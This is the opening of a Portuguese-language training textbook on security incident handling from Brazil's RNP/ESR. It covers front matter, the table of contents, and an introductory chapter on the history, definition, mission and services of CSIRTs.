Tratamento de Incidentes de Segurança

Tratamento

de Incidentes de Segurança

Tratamento de

Incidentes de Segurança

Tratamento de

Incidentes de Segurança

Rio de Janeiro Escola Superior de Redes 2015

Copyright © 2015 – Rede Nacional de Ensino e Pesquisa – RNP Rua Lauro Müller, 116 sala 1103 22290-906 Rio de Janeiro, RJ

Diretor Geral Nelson Simões Diretor de Serviços e Soluções José Luiz Ribeiro Filho

Escola Superior de Redes Coordenação Luiz Coelho Coordenação Acadêmica de Segurança e Governança de TI Edson Kowask Edição Lincoln da Mata Revisão técnica Jácomo Picolini Equipe ESR (em ordem alfabética) Adriana Pierro, Celia Maciel, Cristiane Oliveira, Derlinéa Miranda, Elimária Barbosa, Evellyn Feitosa, Felipe Nascimento, Lourdes Soncin, Luciana Batista, Luiz Carlos Lobato, Renato Duarte e Yve Abel Marcial. Capa, projeto visual e diagramação Tecnodesign Versão 2.0.0 Este material didático foi elaborado com fins educacionais. Solicitamos que qualquer erro encontrado ou dúvida com relação ao material ou seu uso seja enviado para a equipe de elaboração de conteúdo da Escola Superior de Redes, no e-mail [email protected]. A Rede Nacional de Ensino e Pesquisa e os autores não assumem qualquer responsabilidade por eventuais danos ou perdas, a pessoas ou bens, originados do uso deste material. As marcas registradas mencionadas neste material pertencem aos respectivos titulares. Distribuição

Escola Superior de Redes

Rua Lauro Müller, 116 – sala 1103 22290-906 Rio de Janeiro, RJ http://esr.rnp.br [email protected] Dados Internacionais de Catalogação na Publicação (CIP) C416t Ceron, João Tratamento de Incidentes de Segurança / João Ceron. – Rio de Janeiro: RNP/ESR, 2014 208 p. : il. ; 27,5 cm.

ISBN 978-85-63630-46-9

1. Segurança de computador. 2. Internet – medidas de segurança. 3. Centro de estudos, Resposta e Tratamento de Incidentes de Segurança no Brasil (CERT). 4. Grupo de Resposta a Incidentes de Segurança (CSIRT). I. Título..

CDD 005.8

Sumário Escola Superior de Redes A metodologia da ESR ix Sobre o curso x A quem se destina x Convenções utilizadas neste livro x Permissões de uso xi Sobre o autor xii

1. Definições e fundamentos de CSIRTs Introdução 1 Contextualização histórica 2 Identificando CSIRTs pelo mundo 3 Definição de CSIRT 3 Exercício de fixação 1 – Conhecendo CSIRTs 4 Abrangência operacional e missão do CSIRT 5 Serviços de CSIRTs 6 Aspectos operacionais de um CSIRT 10 Tipos 10 Modelos 11 Autonomia 11 Definição de incidente 12 Passos para criação de um CSIRT 13 Fóruns de CSIRTS 13

iii

Roteiro de Atividades 1 15 Atividade 1.1 – Criação de um CSIRT 15 Atividade 1.2 – Nome e sigla 15 Atividade 1.3 – Abrangência operacional 15 Atividade 1.4 – Missão 15 Atividade 1.5 – Estrutura organizacional 15 Atividade 1.6 – Serviços 16 Atividade 1.7 – Incidente de segurança 17

2. Gerenciamento do CSIRT Introdução 19 Código de conduta 19 Equipe 21 Treinamento e desenvolvimento da equipe 24 Terceirização de serviços 24 Contratação 25 Procedimentos de ingresso e desligamento 27 Requisitos estruturais 28 Comunicação 31 Fatores de sucesso 33 Roteiro de Atividades 2 37 Atividade 2.1 – Entrevista coletiva 37 Atividade 2.2 – Contratação 37 Atividade 2.3 – Desligamento 38 Atividade 2.4 – Entrevista de emprego 38 Atividade 2.5 – Comunicando-se com a imprensa 39 Atividade 2.6 – Avaliação de incidente 39 Atividade 2.7 – Procedimentos 40 Atividade 2.8 – Gerenciamento de CSIRT 40

3. Riscos e ameaças Introdução 41 Análise de risco 41 Ameaças associadas a segurança de sistemas 44 iv

Comprometimento de sistemas 45 Phishing 46 Desfiguração 47 Ataques de força bruta 47 Varredura em redes (Scan) 48 Negação de serviço (DoS e DDoS) 48 Malwares 50 Outros riscos 53 APT 54 Roteiro de Atividades 3 57 Atividade 3.1 – Análise de riscos 57 Atividade 3.2 – Ameaças de segurança 57 Atividade 3.3 – Comprometimento de sistemas 58 Atividade 3.4 – Ataques web 58 Atividade 3.5 – Ataques de força bruta 59 Atividade 3.6 – Atuando com APTs 59 Atividade 3.7 – Ataques de negação de serviço (DoS) 60

4. Processo de tratamento de incidentes Introdução 61 Metodologia para resposta a incidentes 62 Preparação 63 Contenção 68 Erradicação 70 Recuperação 70 Avaliação 72 Recursos adicionais 73 Roteiro para avaliação inicial de um incidente 73 Procedimentos 74 Roteiro de atividades 4 77 Atividade 4.1 – Notificação de incidentes 77 Atividade 4.2 – Preparação 77 Atividade 4.3 – Detecção 78 Atividade 4.4 – Contenção 78 Atividade 4.5 – Erradicação 79

v

Atividade 4.6 – Recuperação 79 Atividade 4.7 – Monitoração de acessos 79

5. Aspectos operacionais da resposta a incidentes Introdução 81 Aspectos operacionais da resposta a incidente 81 Identificação 82 Mensagens de e-mail 83 Análise de cabeçalho 84 Atividade 5.1 – Análise de cabeçalho de e-mail 87 Atividade 5.2 – Utilizando o protocolo SMTP 88 Sincronismo de tempo 90 Atividade 5.3 – Padronização do formato data e hora 92 Priorização 93 Categorização 94 Atividade 5.4 – Classificação e triagem de incidentes 95 Atribuição 96 Escalação de incidentes 97 Notificação de incidentes 98 Boas práticas para a notificação de incidentes de segurança 103 Roteiro de atividades 5 105 Atividade 5.1 – Utilizando PGP 105 Atividade 5.2 – PGP Web-of-Trust 106 Atividade 5.3 – Notificação de incidentes 106 Atividade 5.4 – Identificar informações relevantes em uma notificação recebida 106

6. Identificação de contatos Introdução 109 Identificação de contatos 110 Traduzir domínios de redes para endereços IP (domínio > IP) 110 Traduzir o endereço IP para domínios de redes (IP > domínio) 111 Serviço WHOIS 111 National Internet Registry 112 Domínios de rede 113 Exercício de fixação 116 Endereçamento IP 116

vi

Exercício de fixação 118 Recursos adicionais 119 Ferramentas 119 Exercício de fixação – utilizando a ferramenta DIG 122 Exercício de fixação – Sistemas Autônomos 124 Roteiro de atividades 6 129 Atividade 6.1 – Dados sensíveis 129 Atividade 6.2 – Investigação de incidentes 129 Atividade 6.3 – Investigação de contatos 130

7. Análise de Logs Introdução 131 Mensagens de logs 132 Sistemas de logs 135 Diversidade no formato dos logs 137 Gerenciamento de logs 139 Análise de logs 140 Filtragem 143 Normalização 144 Correlação 145 Ferramentas para o processamento de logs 147 Aspectos de segurança 149 Recomendações para sistemas de logs 150 Roteiro de atividades 7 153 Atividade 7.1 – Syslog 153 Atividade 7.2 – Infraestrutura de logs 153 Atividade 7.3 – Mensagens de logs 154 Atividade 7.4 – Sumarização de logs 156 Atividade 7.5 – Análise de logs 157

8. Ferramentas para análise de incidentes Introdução 159 Preocupações de privacidade 160 Proxies 162 Web-Proxies 163 vii

Virtual Private Network (VPN) 165 Rede Tor 165 Uso da rede Tor na investigação de incidentes 166 Mecanismos de busca 167 Analisadores de malwares 167 Assinaturas de malwares 168 Ferramentas multiantivírus 169 Roteiro de atividades 8 173 Atividade 8.1 – Virustotal 173 Análise comportamental 173 Atividade 8.2 – Análise dinâmica de arquivos maliciosos 177 Considerações sobre o uso de ferramentas online 178 Analisadores de websites 178 Outros serviços online 181 Listas de bloqueio 181 Atividade 8.3 – Pesquisando por sites relacionados com fraudes 182 Repositório de websites desfigurados 182 Atividade 8.4 – Identificar servidores que já foram comprometidos utilizando a base de dados do zone-h 183 Análise de artefatos 184 Atividade 8.5 – Diferentes formas de ocultar o IP de origem 184 Atividade 8.6 – Privacidade 185 Atividade 8.7 – Uso de proxies 185 Atividade 8.8 – Deep Web 186

9. Dinâmica de tratamento de incidentes Introdução 189 Contextualização 189 SIFRA 191 Tratamento de incidentes de segurança 192 Roteiro de atividades 9 193 Atividade 9.1 – Reunião 193

viii

Escola Superior de Redes A Escola Superior de Redes (ESR) é a unidade da Rede Nacional de Ensino e Pesquisa (RNP) responsável pela disseminação do conhecimento em Tecnologias da Informação e Comunicação (TIC). A ESR nasce com a proposta de ser a formadora e disseminadora de competências em TIC para o corpo técnico-administrativo das universidades federais, escolas técnicas e unidades federais de pesquisa. Sua missão fundamental é realizar a capacitação técnica do corpo funcional das organizações usuárias da RNP, para o exercício de competências aplicáveis ao uso eficaz e eficiente das TIC. A ESR oferece dezenas de cursos distribuídos nas áreas temáticas: Administração e Projeto de Redes, Administração de Sistemas, Segurança, Mídias de Suporte à Colaboração Digital e Governança de TI. A ESR também participa de diversos projetos de interesse público, como a elaboração e execução de planos de capacitação para formação de multiplicadores para projetos educacionais como: formação no uso da conferência web para a Universidade Aberta do Brasil (UAB), formação do suporte técnico de laboratórios do Proinfo e criação de um conjunto de cartilhas sobre redes sem fio para o programa Um Computador por Aluno (UCA).

A metodologia da ESR A filosofia pedagógica e a metodologia que orientam os cursos da ESR são baseadas na aprendizagem como construção do conhecimento por meio da resolução de problemas típicos da realidade do profissional em formação. Os resultados obtidos nos cursos de natureza teórico-prática são otimizados, pois o instrutor, auxiliado pelo material didático, atua não apenas como expositor de conceitos e informações, mas principalmente como orientador do aluno na execução de atividades contextualizadas nas situações do cotidiano profissional. A aprendizagem é entendida como a resposta do aluno ao desafio de situações-problema semelhantes às encontradas na prática profissional, que são superadas por meio de análise, síntese, julgamento, pensamento crítico e construção de hipóteses para a resolução do problema, em abordagem orientada ao desenvolvimento de competências. Dessa forma, o instrutor tem participação ativa e dialógica como orientador do aluno para as atividades em laboratório. Até mesmo a apresentação da teoria no início da sessão de aprendizagem não é considerada uma simples exposição de conceitos e informações. O instrutor busca incentivar a participação dos alunos continuamente.

ix

As sessões de aprendizagem onde se dão a apresentação dos conteúdos e a realização das atividades práticas têm formato presencial e essencialmente prático, utilizando técnicas de estudo dirigido individual, trabalho em equipe e práticas orientadas para o contexto de atuação do futuro especialista que se pretende formar. As sessões de aprendizagem desenvolvem-se em três etapas, com predominância de tempo para as atividades práticas, conforme descrição a seguir: Primeira etapa: apresentação da teoria e esclarecimento de dúvidas (de 60 a 90 minutos). O instrutor apresenta, de maneira sintética, os conceitos teóricos correspondentes ao tema da sessão de aprendizagem, com auxílio de slides em formato PowerPoint. O instrutor levanta questões sobre o conteúdo dos slides em vez de apenas apresentá-los, convidando a turma à reflexão e participação. Isso evita que as apresentações sejam monótonas e que o aluno se coloque em posição de passividade, o que reduziria a aprendizagem. Segunda etapa: atividades práticas de aprendizagem (de 120 a 150 minutos). Esta etapa é a essência dos cursos da ESR. A maioria das atividades dos cursos é assíncrona e realizada em duplas de alunos, que acompanham o ritmo do roteiro de atividades proposto no livro de apoio. Instrutor e monitor circulam entre as duplas para solucionar dúvidas e oferecer explicações complementares. Terceira etapa: discussão das atividades realizadas (30 minutos). O instrutor comenta cada atividade, apresentando uma das soluções possíveis para resolvê-la, devendo ater-se àquelas que geram maior dificuldade e polêmica. Os alunos são convidados a comentar as soluções encontradas e o instrutor retoma tópicos que tenham gerado dúvidas, estimulando a participação dos alunos. O instrutor sempre estimula os alunos a encontrarem soluções alternativas às sugeridas por ele e pelos colegas e, caso existam, a comentá-las.

Sobre o curso O curso apresenta os conceitos fundamentais e descreve as fases de tratamento de incidentes de segurança com exercícios práticos e simulações de casos. O curso apresenta ainda as atividades necessárias para que seja estabelecida uma Equipe de Tratamento e Resposta a Incidentes em Redes Computacionais – ETIR, suas responsabilidades, seu modelo de atuação e estrutura. Ao final do curso o aluno estará preparado para iniciar a criação de um grupo de atendimento a incidentes de segurança (Computer Security Incident Response Team - CSIRT) e com conhecimento necessário para realizar o tratamento de incidentes na sua organização.

A quem se destina O curso destina-se aos gestores e profissionais da área de segurança da informação e de TIC que necessitam adquirir e desenvolver competências e habilidades para iniciarem a área de Tratamento de Incidentes, implementarem e estabelecerem uma Equipe de Tratamento e Resposta a Incidentes em Redes Computacionais – ETIR de acordo com a norma complementar do DSIC e as boas práticas de mercado. Também poderão se beneficiar outros profissionais desejam adquirir o conhecimento sobre ETIR e tratamento de incidentes.

Convenções utilizadas neste livro As seguintes convenções tipográficas são usadas neste livro: Itálico

x

Indica nomes de arquivos e referências bibliográficas relacionadas ao longo do texto.

Largura constante Indica comandos e suas opções, variáveis e atributos, conteúdo de arquivos e resultado da saída de comandos. Comandos que serão digitados pelo usuário são grifados em negrito e possuem o prefixo do ambiente em uso (no Linux é normalmente # ou $, enquanto no Windows é C:\).

Conteúdo de slide q Indica o conteúdo dos slides referentes ao curso apresentados em sala de aula.

Símbolo w Indica referência complementar disponível em site ou página na internet.

Símbolo d Indica um documento como referência complementar.

Símbolo v Indica um vídeo como referência complementar.

Símbolo s Indica um arquivo de aúdio como referência complementar.

Símbolo ! Indica um aviso ou precaução a ser considerada.

Símbolo p Indica questionamentos que estimulam a reflexão ou apresenta conteúdo de apoio ao entendimento do tema em questão.

Símbolo l Indica notas e informações complementares como dicas, sugestões de leitura adicional ou mesmo uma observação.

Permissões de uso Todos os direitos reservados à RNP. Agradecemos sempre citar esta fonte quando incluir parte deste livro em outra obra. Exemplo de citação: TORRES, Pedro et al. Administração de Sistemas Linux: Redes e Segurança. Rio de Janeiro: Escola Superior de Redes, RNP, 2013.

Comentários e perguntas Para enviar comentários e perguntas sobre esta publicação: Escola Superior de Redes RNP Endereço: Av. Lauro Müller 116 sala 1103 – Botafogo Rio de Janeiro – RJ – 22290-906 E-mail: [email protected]

xi

Sobre o autor Jácomo Picolini é formado em Engenharia pela Universidade Federal de São Carlos, com pós-graduações no Instituto de Computação e Instituto de Economia da UNICAMP, possui 17 anos de experiência na área de segurança, trabalhou no CAIS/RNP até 2009 e depois como Coordenador Acadêmico da área de Segurança e Governança de TI ESR/RNP até 2011, Diretor no Dragon Research Group, membro da diretoria do capítulo da ISACA de Brasília 2011-2014, membro da Comissão de Direito Eletrônico e Crimes de Alta Tecnologia da OAB SP, liasion do FIRST.org onde coordena as atividades de treinamento, professor convidado em cursos de pós-graduação nas disciplinas de análise forense, tratamento de incidentes, segurança de sistemas, criação e gerenciamento de CSIRTs. Atualmente trabalha na empresa Team Cymru NFP e faz parte da equipe que provê informações para tornar a Internet mais segura. Edson Kowask Bezerra é profissional da área de segurança da informação e governança há mais de quinze anos, atuando como auditor líder, pesquisador, gerente de projeto e gerente técnico, em inúmeros projetos de gestão de riscos, gestão de segurança da informação, continuidade de negócios, PCI, auditoria e recuperação de desastres em empresas de grande porte do setor de telecomunicações, financeiro, energia, indústria e governo. Com vasta experiência nos temas de segurança e governança, tem atuado também como palestrante nos principais eventos do Brasil e ainda como instrutor de treinamentos focados em segurança e governança. É professor e coordenador de cursos de pós-graduação na área de segurança da informação, gestão integrada, de inovação e tecnologias web. Hoje atua como Coordenador Acadêmico de Segurança e Governança de TI da Escola Superior de Redes.

xii

1 Aprender conceitos e termos mais importantes de um CSIRT; Descrever os principais aspectos operacionais de um CSIRT; Iniciar o processo de criação de um CSIRT.

conceitos

O CSIRT; Definições importantes na criação de um CSIRT (Computer Security Incident Response Team ou Grupo de Resposta a Incidentes de Segurança, na sigla em inglês); Conceito de “incidente de segurança”.

Introdução O contínuo crescimento e a popularização da internet estão sendo acompanhados pelo

q

aumento de novas ameaças de segurança dos sistemas computacionais. Com o passar do tempo, entretanto, as ameaças e ataques aos sistemas computacionais têm aumentado consideravelmente. Esse aumento é decorrente de inúmeros fatores, entre os quais o aumento no número de usuários, o aumento no número de transações financeiras e, sobretudo, o aumento do grau de dependência tecnológica da sociedade. Boa parte dos serviços está amplamente acessível na rede, de modo a prover suas funcionalidades aos seus usuários. Consequentemente, esses sistemas também se tornam expostos aos diferentes tipos de ameaças. Tais ameaças incluem atividades de usuários, softwares maliciosos e vulnerabilidades associadas aos serviços utilizados. Diante disso, torna-se essencial implementar mecanismos para lidar com eventos de segurança antes mesmo que danos significativos sejam causados às instituições. Além do mais, é necessário que os procedimentos tradicionais para proteção de sistemas sejam constantemente aprimorados de modo a contemplar as novas ameaças e ataques emergentes na internet. Esse contexto fomentou o surgimento de equipes especializadas em lidar com incidentes de segurança. Dessa forma, a equipe pode desenvolver metodologias para proteger os sistemas e, na ocorrência de um avento arbitrário de segurança, esse grupo de pessoas pode prontamente interceder de forma efetiva.

q

Capítulo 1 - Definições e fundamentos de CSIRTs

objetivos

Definições e fundamentos de CSIRTs

1

Contextualização histórica Atualmente observam-se muitos times de segurança constituídos em diferentes insti-

q

tuições. Nos primórdios da internet, o número de incidentes de segurança era bastante reduzido e de baixa complexidade. No entanto, com o passar do tempo, os incidentes de segurança obtiveram novas proporções, sobretudo após o incidente de segurança denominado de Internet Worm.

Internet Worm:

Esse incidente fomentou a discussão na comunidade de segurança pela necessidade de melhores meios para identificar e responder incidentes de computadores na internet de forma efetiva. Como resultado, um conjunto de recomendações foi especificado tendo como

q

principal demanda: 11 Criar um único ponto de contato na rede para comunicar problemas de segurança; 11 Atuar de forma confiável com informações de segurança. Em resposta a essas recomendações, foi institucionalizado o primeiro grupo de resposta a incidentes, conhecido como CERT Coordination Center (CERT/CC), localizado na universidade de Carnegie Mellon, nos Estados Unidos. Na Europa, o mesmo modelo foi adotado, e em 1992 o provedor acadêmico holandês SURFnet fundou o primeiro time europeu, o qual foi denominado SURFnet-CERT. Consequentemente, outros times foram implementados em diferentes intuições e em diversos países. No Brasil não foi diferente. Embora a primeira conexão da internet tenha sido oficial-

q

mente inaugurada em 1989, a internet realmente ganhou corpo em 1995, quando foi liberada a operação da internet comercial no Brasil. No mesmo ano, o Comitê Gestor da Internet no Brasil (CGI.br) foi criado com a responsabilidade de coordenar e integrar todas as iniciativas de serviços internet no país, promovendo a qualidade técnica, a inovação e a disseminação dos serviços ofertados. Entre as diversas iniciativas do CGI.br, a publicação do documento Rumo à Criação de uma Coordenadoria de Segurança de Redes na Internet Brasil em agosto de 1996 foi um marco para a segurança da internet brasileira. Nesse documento, são discutidos aspectos de segurança nacional e a importância dos CSIRTs para a segurança da rede. Entre as recomendações, sugeriu-se a criação de um centro nacional de coordenação de segurança de redes. Com base nas recomendações do CGI.br, em junho de 1997 foi estabelecido o primeiro

q

grupo de responsabilidade nacional, denominado NIC BR Security Office (NBSO), que Tratamento de Incidentes de Segurança

posteriormente seria renomeado para CERT.br.

2

No mesmo ano, outros times de diferentes instituições brasileiras foram formalizados: 11 1997: 22 Fundação do CAIS: CSIRT da própria Rede Nacional de Ensino e Pesquisa (RNP); 22 Fundação do NBSO (Cert.br); 22 Fundação do CERT-RS: CSIRT da rede acadêmica do Rio Grande do Sul. 11 1999: 22 Fundação do GRA: CSIRT do SERPRO (Serviço Federal de Processamento de Dados); 22 Fundação de diversos CSIRTs em universidades e operadores de telecomunicações.

q

Em 1988, o incidente Internet Worm deixou milhares de computadores inoperantes. Estima-se que seis mil sistemas foram afetados, o que representava aproximadamente 10% da internet operante na época.

11 2004:

q

22 Fundação do CTIR Gov: CSIRT voltado para a administração pública federal. 11 2010: 22 Fundação do CDCiber: CSIRT responsável pelo setor cibernético no exército. No Brasil, atualmente, podemos encontrar diversos grupos estabelecidos em diferentes estados. No website do CERT.br são ilustrados alguns times estabelecidos e respectivas informações de contato.

Identificando CSIRTs pelo mundo Os websites a seguir podem ser utilizados para localizar CSIRTs e suas respectivas abrangências operacionais nos mais diversos países. 11 http://www.first.org/members/teams 11 http://www.rnp.br/cais/csirts.html 11 http://www.cert.br/contato-br.html 11 http://www.cert.org/csirts/national/contact.html 11 http://www.apcert.org/about/structure/members.html 11 http://www.cert.org/csirts/csirt-map.html

Definição de CSIRT Um Computer Security Incident Response Team (CSIRT) ou um Computer Security Inci-

q

dent Response Team (CSIRT) – em português, Grupo de Resposta a Incidentes de Segurança – é uma organização que responde a incidentes de segurança provendo suporte necessário para resolver ou auxiliar na resolução. O CSIRT normalmente presta serviços para uma comunidade bem definida, que pode ser a entidade que o mantém, tal como empresa, órgão governamental ou organização acadêmica. Independentemente de sua atuação, é fundamental que um CSIRT tenha a habilidade de analisar e prover rapidamente meios efetivos para tratar um incidente. A rápida identificação e a efetiva análise de um incidente de segurança podem diminuir possíveis danos e, em última análise, diminuir os eventuais custos de uma recuperação. Como consequência, a análise de aconteçam novamente. Existe uma sutil diferença entre um CSIRT e uma equipe de segurança departamental. Uma equipe de segurança departamental desenvolve ações habituais relativas à monitoração de redes e sistemas, como por exemplo: atualização de sistemas; configuração de filtro de pacotes; análise de logs; gerenciamento de redes e outras tarefas. Já um CSIRT atua com foco na resposta de incidentes, implementando um ponto central para notificação, análise e coordenação de incidentes na organização. De forma complementar, um CISRT pode complementar suas atividades incorporando tarefas de uma equipe de segurança departamental; entretanto, seu foco deve estar no tratamento de incidentes de segurança. Organizações que implementam CSIRTs valem-se dos seguintes benefícios: 11 Existência de mecanismos de resposta a incidentes de segurança; 11 Instituição preparada para as ameaças emergentes;

q


incidentes permite a implementação de medidas preventivas evitando que eventos similares

3

11 Aumento do grau de segurança, ao desenvolver uma cultura de segurança;

q

11 Criação de mecanismos que visam à preservação da instituição; 11 Introdução de senso crítico em relação à visão tradicional de TI. É comum questionar-se em relação à denominação de grupos a resposta a incidentes. Além

l

de CSIRT, outras siglas são rotineiramente empregadas para designar grupos de resposta a incidentes de segurança. Talvez as siglas mais utilizadas sejam: CERT e ETIR. A identidade de um grupo começa pela definição do seu nome. O nome e a sigla permitem ao seu CSIRT criar uma identidade própria, que deve estar alinhada com a de sua instituição e, se possível, refletir o setor que representa (banco, indústria, governo etc.). A seguir uma listagem de siglas e nomes de alguns times: 11 CERT/CC: Computer Emergency Response Team/Coordination Center; 11 CAIS/RNP: Centro de Atendimento a Incidentes de Segurança da Rede Nacional de

q

A sigla CERT (Computer Emergency Response Team) é uma marca patenteada e somente pode ser usada mediante prévia autorização. Já a sigla ETIR representa Equipe de Tratamento e Resposta a Incidentes em redes de computadores, o que corresponde a uma tradução livre do termo CSIRT.

Ensino e Pesquisa; 11 CENATIS: Centro de Atendimento e Tratamento de Incidentes de Segurança da Universidade Federal do Rio de Janeiro (UFRJ); 11 CERT.BR: Centro de Estudo, Resposta e Tratamento de Incidentes de Segurança no Brasil; 11 NARIS: Núcleo de Atendimento e Resposta a Incidentes de Segurança da Universidade Federal do Rio Grande do Norte (UFRN); 11 GRIS-CD: Grupo de Resposta a Incidentes de Segurança da Câmara dos Deputados; 11 TRI: Time de Resposta a Incidentes da Universidade Federal do Rio Grande do Sul (UFRGS); 11 CERT-RS: Centro de Emergências em Segurança da Rede Tchê; 11 USP/CSIRT: Centro de Resposta a Incidentes de Segurança da Universidade de São Paulo (USP); 11 GRA/SERPRO: Grupo de Resposta a Ataques do Serviço Federal de Processamento de Dados (SERPRO).

Exercício de fixação 1 e Conhecendo CSIRTs Tratamento de Incidentes de Segurança

Através de uma consulta na internet, localize dois exemplos de grupos de resposta a

4

incidentes de segurança nas áreas listadas a seguir. Escreva a sigla, o nome do grupo e a comunidade de atuação. CSIRT governamental: 1.

2.

d

Leitura recomendada – definição de CSIRTs segundo o CERT/CC: http://www.cert.org/ csirts/csirt_faq.html e http://www.cert.br/ certcc/csirts/csirt_ faq-br.html e Departamento de Segurança da Informação e Comunicações: http://dsic. planalto.gov.br/

CSIRT de instituição financeira: 1.

2.

CSIRT comercial: 1.

2.

CSIRT acadêmico: 1.

2.

Abrangência operacional e missão do CSIRT A abrangência operacional, também conhecida por constituency, define a comunidade

q

atendida pelos serviços do CSIRT. A abrangência operacional de um CSIRT pode ser composta por diversos domínios administrativos, diferentes redes, ou ainda por um conjunto específico de domínios. Por exemplo: “O CSIRT exemplo atende domínios e endereços IP alocados para o AS XXXX”; ou ainda, de forma mais flexível: “Redes, endereços IP e domínios atendidos pela instituição”.

e anseios da comunidade utilizadora, o que possibilita, em um contexto mais amplo, definir a missão do CSIRT. A missão de um CSIRT deve fornecer uma breve descrição das metas e objetivos da equipe. A definição da missão é que permite determinar o conjunto de atividades a serem desenvolvidas pela equipe no contexto de sua abrangência operacional. Recomenda-se que a missão de um CSIRT seja concisa e clara. Afinal, de certa forma, a missão de um CSIRT permite que entidades externas possam definir expectativas apropriadas em relação às ações a serem tomadas pela equipe. Alguns exemplos de definições da missão de CSIRT: 11 Missão do CAIS/RNP (http://www.rnp.br/cais/): “O CAIS – Centro de Atendimento a Incidentes de Segurança atua na detecção, resolução e prevenção de incidentes de segurança na rede acadêmica brasileira, além de elaborar, promover e disseminar

q


Com a definição da abrangência operacional torna-se possível mapear as necessidades

práticas de segurança em redes.” 5

11 Missão do CERT.br (http://www.cert.br/missao.html): “O CERT.br, anteriormente

q

denominado NBSO/Brazilian CERT, é o Grupo de Resposta a Incidentes de Segurança para a Internet brasileira, mantido pelo Comitê Gestor da Internet no Brasil. É o grupo responsável por receber, analisar e responder a incidentes de segurança em computadores, envolvendo redes conectadas à internet brasileira.” 11 Missão do CTIR.gov (http://www.ctir.gov.br/): “Operar e manter o Centro de Tratamento de Incidentes de Segurança de Redes de Computadores da Administração Pública Federal.” De fato, a missão posiciona o CSIRT frente à sua comunidade de atuação. Adicionalmente, a sua comunidade toma conhecimento dos serviços prestados pelo time de segurança. Sabese, entretanto, que o relacionamento com a comunidade de atuação deve ir além da simples definição e divulgação dos serviços prestados pelo time. Nesse contexto de segurança, mais do que nunca, ações falam mais alto do que definições escritas. Um CSIRT leva tempo para ter o seu reconhecimento na comunidade de atuação. Fatores como confiança e respeito são conquistados naturalmente com bom trabalho realizado. Por fim, e não menos importante, é assegurar que a missão do CSRIT tenha apoio e suporte da camada de gestão da instituição (diretores ou equivalentes). Do contrário, a atuação do time pode ser seriamente comprometida.

Serviços de CSIRTs Os serviços de um CSIRT definem um conjunto de atividades que serão providas para

q

a sua comunidade de atuação (constituency). Evidentemente, algumas atividades são intrínsecas ao processo de tratamento de incidentes e, portanto, mandatórias a todos os CSIRTs: análise de eventos, resposta de incidentes e coordenação para resolução de incidentes de computadores. Tipicamente, os CSIRTs tradicionais implementam um conjunto de serviços adicionais que complementam as atividades relativas ao processo de resposta a incidente, tal como a elaboração de alertas e anúncios relacionados à segurança. Outros CSIRTs, porém, diversificam a sua base de serviços provendo atividades de auditoria de sistemas, análise de riscos, treinamento e análise forense. Algumas atividades típicas de CSIRTs: 11 Análise de artefatos maliciosos; 11 Análise de vulnerabilidades;

Tratamento de Incidentes de Segurança

11 Emissão de alertas e advertências;

6

11 Prospecção ou monitoração de novas tecnologias; 11 Avaliação de segurança; 11 Desenvolvimento de ferramentas de segurança; 11 Detecção de intrusão; 11 Disseminação de informações relacionadas à segurança. Embora não exista um conjunto padrão de serviços que um CSIRT deva oferecer, é essencial que cada time de segurança especifique serviços tendo em vista seus recursos disponíveis, tal como equipe, expertise e infraestrutura necessária.

q

l Segundo documentação do próprio CERT/ CC, em média, um CSIRT leva em torno de um ano após o início de sua operação para que a comunidade assimile o time e comece um processo regular de notificações. O aumento de notificações de segurança para um CSIRT é um indício de acolhimento pela comunidade de abrangência.

O CERT/CC, por sua vez, disponibiliza um repositório de boas práticas e recomendações que especificam detalhes dos serviços prestados por um CSIRT. Segundo a nomenclatura adotada, os serviços de um CSIRT podem ser agrupados em:

q

11 Serviços reativos; 11 Serviços proativos; 11 Serviços de qualidade. Os serviços correspondentes a cada categoria são listados na tabela 1.1 e descritos de forma mais detalhada na sequência. Reativos

Proativos

Qualidade

11Análise de Vulnerabilidades.

11Monitoração da segurança na rede.

11Análise de processos e procedimentos.

11Elaboração de alertas e avisos. 11Gerenciamento de vulnerabilidades.

11Análise de malwares e demais artefatos.

11Avaliação situacional.

11Gerenciamento da equipe ou negócios.

11Desenvolvimento de ferramentas de segurança.

11Educação e treinamento.

11Detecção de intrusão.

11Plano de recuperação de desastres.

Serviços reativos São serviços instanciados após a identificação de um incidente de segurança. Tais ser-

q

viços visam solucionar um incidente de segurança em execução ou prover meios para a investigação de incidentes previamente identificados. De todo modo, os serviços reativos fazem parte das atividades essenciais implementadas por CSIRTs no processo de resposta a incidentes de segurança. Os serviços podem ser instanciados por uma notificação de um incidente – máquina comprometida, por exemplo – um pedido de ajuda ou, ainda, por ferramentas de detecção do próprio time de segurança.

Serviços proativos Os serviços proativos têm por objetivo evitar que incidentes de segurança ocorram e,

q

também, reduzir o impacto quando estes ocorrerem. Para isso, buscam-se desenvolver ações seguras de maneira a aprimorar a segurança dos sistemas como um todo, buscando diminuir o potencial de sucesso dos ataques contra a infraestrutura das organizações. Alguns serviços dessa categoria estão diretamente relacionados a: 11 Implementar defesa em camadas e garantir que as melhores práticas de segurança sejam implementadas nos sistemas computacionais, incluindo a configuração, definição e implementação; 11 Realizar tarefas de auditoria, avaliação de vulnerabilidades e outras avaliações que visam identificar fraquezas nos sistemas ou vulnerabilidades antes que estas sejam exploradas; 11 Identificar riscos de novas ameaças e tendências de maneira a identificar como elas podem afetar a instituição; 11 Atualizar assinaturas de antivírus ou IDS de maneira a conter as novas ameaças identificadas.


Tabela 1.1 Os diversos tipos de serviços prestados por um CSIRT.

11Alertas de ferramentas.

7

Serviços de qualidade São serviços desenvolvidos para aprimorar o processo de resposta a incidentes como

q

um todo. Para isso, são analisados processos administrativos do CSIRT e também a efetividade dos serviços prestados. Dessa forma, podem-se identificar limitações no processo e implementar melhorias para o time, seja elas de caráter técnica (treinamento técnico para a equipe) ou organizacional (fluxo de informação entre os processos). Essas tarefas incluem: 11 Gerenciamento da equipe ou processos; 11 Educação ou treinamento; 11 Auditoria de sistemas. Essas diferentes classificações descrevem a natureza dos serviços de um CSIRT e fica a critério de cada time incorporá-los à sua comunidade. Alguns serviços são essencialmente internos; outros; no entanto, podem ser demandados pela comunidade de atuação e também por terceiros. Para isso, deve-se ter claramente documentado as peculiaridades de cada serviço no que tange: escopo, formas de contato e funcionamento. Por fim, é importante que os serviços prestados por um CSIRT sejam providos com qualidade tendo em foco a sua comunidade de atuação. Para isso, torna-se desejável monitorar a excelência dos serviços prestados e aprimorá-los com lições aprendidas e contribuições dos usuários. Do contrário, o CSIRT pode cair em descrédito e a sua comunidade pode parar de reportar incidentes.

Interação com os serviços Além de especificar os serviços providos por um CSIRT, é essencial descrever como estes

q

